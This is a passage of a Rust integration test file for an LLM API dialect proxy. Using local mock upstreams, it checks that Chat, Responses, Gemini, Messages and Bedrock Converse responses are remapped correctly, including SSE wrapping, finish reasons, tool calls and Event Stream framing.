"POST /v1beta/models/llama3.2:3b:generateContent HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
let looks_like_gemini =
resp.contains("\"finishReason\":\"STOP\"") || resp.contains("\"candidates\"");
assert!(
resp.contains("200") && resp.contains("pong") && looks_like_gemini,
"non-stream gemini→chat must return a generateContent body, got: {resp}"
);
assert!(
!resp.contains("not mapped"),
"must not 501 a successful Chat JSON body, got: {resp}"
);
}
#[test]
fn proxy_cross_dialect_responses_from_chat_json() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let _ = stream.read(&mut buf);
let body = r#"{"choices":[{"message":{"role":"assistant","content":"pong"},"finish_reason":"stop"}],"usage":{"prompt_tokens":3,"completion_tokens":1}}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-cross-responses.toml",
&format!(
r#"
schema_version = 1
id = "chat-cross-responses"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"responses",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"test","input":"hi"}"#;
let req = format!(
"POST /v1/responses HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
let looks_like_responses =
resp.contains("\"status\":\"completed\"") || resp.contains("output_text");
assert!(
resp.contains("200") && resp.contains("pong") && looks_like_responses,
"non-stream responses→chat must return a Responses body, got: {resp}"
);
assert!(
!resp.contains("not mapped"),
"must not 501 a successful Chat JSON body, got: {resp}"
);
}
#[test]
fn proxy_grok_stream_true_reaches_upstream_and_json_becomes_sse() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(
req.contains("\"stream\":true") || req.contains("\"stream\": true"),
"upstream must see stream:true, got: {req}"
);
let body = r#"{"id":"chatcmpl-redacted","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"pong"},"finish_reason":"stop"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
req.into_owned()
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"grok-ollama.toml",
&format!(
r#"
schema_version = 1
id = "grok-ollama"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"chat-completions",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"grok-4","stream":true,"messages":[{"role":"user","content":"ping"}]}"#;
let req = format!(
"POST /v1/chat/completions HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
let _upstream_req = upstream_thread.join().expect("upstream");
assert!(
resp.contains("text/event-stream"),
"Grok always-SSE must get event-stream, not JSON, got: {resp}"
);
assert!(
resp.contains("pong") && resp.contains("data:"),
"wrapped SSE must carry assistant text, got: {resp}"
);
}
#[test]
fn proxy_json_tool_completion_becomes_sse_tool_calls() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let _ = stream.read(&mut buf);
let body = r#"{"id":"chatcmpl-redacted","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":null,"tool_calls":[{"id":"call_1","type":"function","function":{"name":"lookup","arguments":"{\"q\":\"x\"}"}}]},"finish_reason":"tool_calls"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"grok-tools.toml",
&format!(
r#"
schema_version = 1
id = "grok-tools"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"chat-completions",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body =
r#"{"model":"grok-4","stream":true,"messages":[{"role":"user","content":"lookup"}]}"#;
let req = format!(
"POST /v1/chat/completions HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("text/event-stream"),
"tool JSON must wrap as SSE, got: {resp}"
);
assert!(
resp.contains("lookup") && resp.contains("call_1"),
"wrapped SSE must keep the tool call, got: {resp}"
);
}
#[test]
fn proxy_messages_client_chat_json_text_and_tools_becomes_sse() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let _ = stream.read(&mut buf);
let body = r#"{"id":"chatcmpl-redacted","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"Let me look that up.","tool_calls":[{"id":"call_1","type":"function","function":{"name":"lookup","arguments":"{\"q\":\"x\"}"}}]},"finish_reason":"tool_calls"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-up.toml",
&format!(
r#"
schema_version = 1
id = "chat-up"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"messages",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"claude","max_tokens":64,"stream":true,"messages":[{"role":"user","content":"lookup"}]}"#;
let req = format!(
"POST /v1/messages HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("text/event-stream"),
"Messages client must get SSE, not JSON, got: {resp}"
);
assert!(
resp.contains("Let me look that up."),
"wrapped SSE must keep assistant text, got: {resp}"
);
assert!(
resp.contains("tool_use") && resp.contains("lookup") && resp.contains("call_1"),
"wrapped SSE must keep the tool_use block, got: {resp}"
);
}
#[test]
fn proxy_json_completion_length_finish_and_usage_becomes_sse() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let _ = stream.read(&mut buf);
let body = r#"{"id":"chatcmpl-redacted","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"cut"},"finish_reason":"length"}],"usage":{"prompt_tokens":3,"completion_tokens":2,"total_tokens":5}}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"grok-length.toml",
&format!(
r#"
schema_version = 1
id = "grok-length"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"chat-completions",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"grok-4","stream":true,"messages":[{"role":"user","content":"ping"}]}"#;
let req = format!(
"POST /v1/chat/completions HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("text/event-stream"),
"JSON completion must wrap as SSE, got: {resp}"
);
assert!(
resp.contains(r#""finish_reason":"length""#),
"wrap must keep finish_reason length, not invent stop, got: {resp}"
);
assert!(
!resp.contains(r#""finish_reason":"stop""#),
"wrap must not invent stop when finish_reason is length, got: {resp}"
);
assert!(
resp.contains(r#""prompt_tokens":3"#) && resp.contains(r#""completion_tokens":2"#),
"wrap must forward Chat usage counts, got: {resp}"
);
}
#[test]
fn proxy_json_completion_eos_finish_becomes_sse_stop() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let _ = stream.read(&mut buf);
let body = r#"{"id":"chatcmpl-redacted","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"pong"},"finish_reason":"eos"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"grok-eos.toml",
&format!(
r#"
schema_version = 1
id = "grok-eos"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"chat-completions",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"grok-4","stream":true,"messages":[{"role":"user","content":"ping"}]}"#;
let req = format!(
"POST /v1/chat/completions HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("text/event-stream"),
"JSON completion must wrap as SSE, got: {resp}"
);
assert!(
resp.contains(r#""finish_reason":"stop""#),
"wrap must remap finish_reason eos to stop, got: {resp}"
);
assert!(
!resp.contains(r#""finish_reason":"eos""#),
"wrap must not leak finish_reason eos into SSE, got: {resp}"
);
}
#[test]
fn proxy_converse_stream_sends_eventstream_accept() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(
req.contains("POST /model/amazon.nova-lite-v1:0/converse-stream"),
"upstream path: {req}"
);
assert!(
req.to_ascii_lowercase()
.contains("accept: application/vnd.amazon.eventstream"),
"converse-stream must set Event Stream Accept, got: {req}"
);
let body = r#"{"output":{"message":{"role":"assistant","content":[{"text":"hi"}]}}}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"bedrock-proxy.toml",
&format!(
r#"
schema_version = 1
id = "bedrock-proxy"
wire = "converse"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/model/{{model}}/converse"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"chat",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"amazon.nova-lite-v1:0","stream":true,"messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /v1/chat/completions HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("200") || resp.contains("hi"),
"proxy should reach converse-stream, got: {resp}"
);
}
#[test]
fn proxy_eventstream_content_type_uses_stream_mapper() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let _ = stream.read(&mut buf);
let payload = br#"{"delta":{"text":"hi"},"contentBlockIndex":0}"#;
let body = wiremux::stream::encode_eventstream_message("contentBlockDelta", payload);
let header = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/vnd.amazon.eventstream\r\nContent-Length: {}\r\nConnection: close\r\n\r\n",
body.len()
);
let _ = stream.write_all(header.as_bytes());
let _ = stream.write_all(&body);
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"bedrock-eventstream.toml",
&format!(
r#"
schema_version = 1
id = "bedrock-eventstream"
wire = "converse"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/model/{{model}}/converse"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"chat",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"amazon.nova-lite-v1:0","stream":true,"messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /v1/chat/completions HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
!resp.contains("decode upstream body"),
"eventstream must not be collected as a JSON body, got: {resp}"
);
assert!(
resp.contains("text/event-stream"),
"eventstream must go through the stream mapper, got: {resp}"
);
assert!(
resp.contains("hi"),
"stream mapper must remap Converse text delta, got: {resp}"
);
}
#[test]
fn proxy_same_dialect_converse_keeps_eventstream_content_type() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let _ = stream.read(&mut buf);
let payload = br#"{"delta":{"text":"hi"},"contentBlockIndex":0}"#;
let body = wiremux::stream::encode_eventstream_message("contentBlockDelta", payload);
let header = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/vnd.amazon.eventstream\r\nContent-Length: {}\r\nConnection: close\r\n\r\n",
body.len()
);
let _ = stream.write_all(header.as_bytes());
let _ = stream.write_all(&body);
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"bedrock-passthrough.toml",
&format!(
r#"
schema_version = 1
id = "bedrock-passthrough"
wire = "converse"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/model/{{model}}/converse"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"converse",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"modelId":"amazon.nova-lite-v1:0","messages":[{"role":"user","content":[{"text":"hi"}]}]}"#;
let req = format!(
"POST /model/amazon.nova-lite-v1:0/converse HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = Vec::new();
let _ = client.read_to_end(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
let head = String::from_utf8_lossy(&resp);
assert!(
head.to_ascii_lowercase()
.contains("content-type: application/vnd.amazon.eventstream"),
"same-dialect Converse must keep Event Stream Content-Type, got: {head}"
);
assert!(
!head.to_ascii_lowercase().contains("text/event-stream"),
"same-dialect Converse must not rewrite Event Stream as SSE, got: {head}"
);
}
#[test]
fn proxy_same_dialect_converse_stream_error_is_not_sse() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let _ = stream.read(&mut buf);
let header = concat!(
"HTTP/1.1 200 OK\r\n",
"Content-Type: application/vnd.amazon.eventstream\r\n",
"Content-Length: 4096\r\n",
"Connection: close\r\n",
"\r\n",
"d",
);
let _ = stream.write_all(header.as_bytes());
let _ = stream.flush();
let _ = stream.shutdown(std::net::Shutdown::Write);
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"bedrock-stream-err.toml",
&format!(
r#"
schema_version = 1
id = "bedrock-stream-err"
wire = "converse"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/model/{{model}}/converse"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"converse",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"modelId":"amazon.nova-lite-v1:0","messages":[{"role":"user","content":[{"text":"hi"}]}]}"#;
let req = format!(
"POST /model/amazon.nova-lite-v1:0/converse HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
!resp.contains("event: error"),
"Event Stream passthrough must not inject SSE errors, got: {resp}"
);
}
#[test]
fn proxy_dest_converse_remaps_chat_sse_as_eventstream() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let _ = stream.read(&mut buf);
let body = concat!(
"data: {\"id\":\"1\",\"object\":\"chat.completion.chunk\",\"choices\":[{\"index\":0,\"delta\":{\"content\":\"hi\"}}]}\n\n",
"data: {\"id\":\"1\",\"object\":\"chat.completion.chunk\",\"choices\":[{\"index\":0,\"delta\":{},\"finish_reason\":\"stop\"}]}\n\n",
"data: [DONE]\n\n",
);
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: text/event-stream\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-to-converse-sse.toml",
&format!(
r#"
schema_version = 1
id = "chat-to-converse-sse"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"converse",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"modelId":"amazon.nova-lite-v1:0","messages":[{"role":"user","content":[{"text":"hi"}]}]}"#;
let req = format!(
"POST /model/amazon.nova-lite-v1:0/converse-stream HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = Vec::new();
let _ = client.read_to_end(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
let (head, body) = http_head_and_body(&resp);
assert!(
head.to_ascii_lowercase()
.contains("content-type: application/vnd.amazon.eventstream"),
"dest Converse remap must advertise Event Stream, got: {head}"
);
assert!(
!head.to_ascii_lowercase().contains("text/event-stream"),
"dest Converse remap must not advertise SSE, got: {head}"
);
let frames = eventstream_frames(&body);
let payloads = eventstream_raw_payloads(&body);
assert!(
payloads.iter().any(|value| {
value.get("contentBlockDelta").is_none()
&& value.pointer("/delta/text").and_then(|v| v.as_str()) == Some("hi")
}),
"dest Event Stream payload must be the AWS member struct, got: {payloads:?}"
);
assert!(
frames.iter().any(|frame| {
frame.event.as_deref() == Some("contentBlockDelta") && frame.data.contains("hi")
}),
"dest Event Stream must carry remapped text, got: {frames:?}"
);
assert!(
frames
.iter()
.any(|frame| frame.event.as_deref() == Some("messageStop")),
"dest Event Stream must finish with messageStop, got: {frames:?}"
);
assert!(
payloads
.iter()
.any(|value| value == &serde_json::json!({"stopReason": "end_turn"})),
"dest Event Stream messageStop raw payload must be {{\"stopReason\":\"end_turn\"}}, got: {payloads:?}"
);
}
#[test]
fn proxy_dest_converse_remaps_chat_sse_text_then_tool_indexes() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let _ = stream.read(&mut buf);
let body = concat!(
"data: {\"id\":\"1\",\"object\":\"chat.completion.chunk\",\"choices\":[{\"index\":0,\"delta\":{\"content\":\"hi\"}}]}\n\n",
"data: {\"id\":\"1\",\"object\":\"chat.completion.chunk\",\"choices\":[{\"index\":0,\"delta\":{\"tool_calls\":[{\"index\":0,\"id\":\"call_1\",\"type\":\"function\",\"function\":{\"name\":\"lookup\",\"arguments\":\"\"}}]}}]}\n\n",
"data: {\"id\":\"1\",\"object\":\"chat.completion.chunk\",\"choices\":[{\"index\":0,\"delta\":{\"tool_calls\":[{\"index\":0,\"function\":{\"arguments\":\"{\\\"q\\\":\\\"x\\\"}\"}}]}}]}\n\n",
"data: {\"id\":\"1\",\"object\":\"chat.completion.chunk\",\"choices\":[{\"index\":0,\"delta\":{},\"finish_reason\":\"tool_calls\"}]}\n\n",
"data: [DONE]\n\n",
);
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: text/event-stream\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-to-converse-sse-tool.toml",
&format!(
r#"
schema_version = 1
id = "chat-to-converse-sse-tool"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"converse",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"modelId":"amazon.nova-lite-v1:0","messages":[{"role":"user","content":[{"text":"hi"}]}]}"#;
let req = format!(
"POST /model/amazon.nova-lite-v1:0/converse-stream HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = Vec::new();
let _ = client.read_to_end(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
let (head, body) = http_head_and_body(&resp);
assert!(
head.to_ascii_lowercase()
.contains("content-type: application/vnd.amazon.eventstream"),
"dest Converse remap must advertise Event Stream, got: {head}"
);
let payloads = eventstream_raw_payloads(&body);
assert!(
payloads.iter().any(|value| {
value.pointer("/delta/text").and_then(|v| v.as_str()) == Some("hi")
&& value
.get("contentBlockIndex")
.and_then(serde_json::Value::as_u64)
== Some(0)
}),
"text contentBlockDelta must use contentBlockIndex 0, got: {payloads:?}"
);
assert!(
payloads.iter().any(|value| {
value.pointer("/start/toolUse").is_some()
&& value
.get("contentBlockIndex")
.and_then(serde_json::Value::as_u64)
== Some(1)
}),
"tool contentBlockStart must use contentBlockIndex 1, got: {payloads:?}"
);
assert!(
payloads
.iter()
.any(|value| value == &serde_json::json!({"stopReason": "tool_use"})),
"dest Event Stream messageStop must be tool_use after Chat tool_calls, got: {payloads:?}"
);
}
#[test]
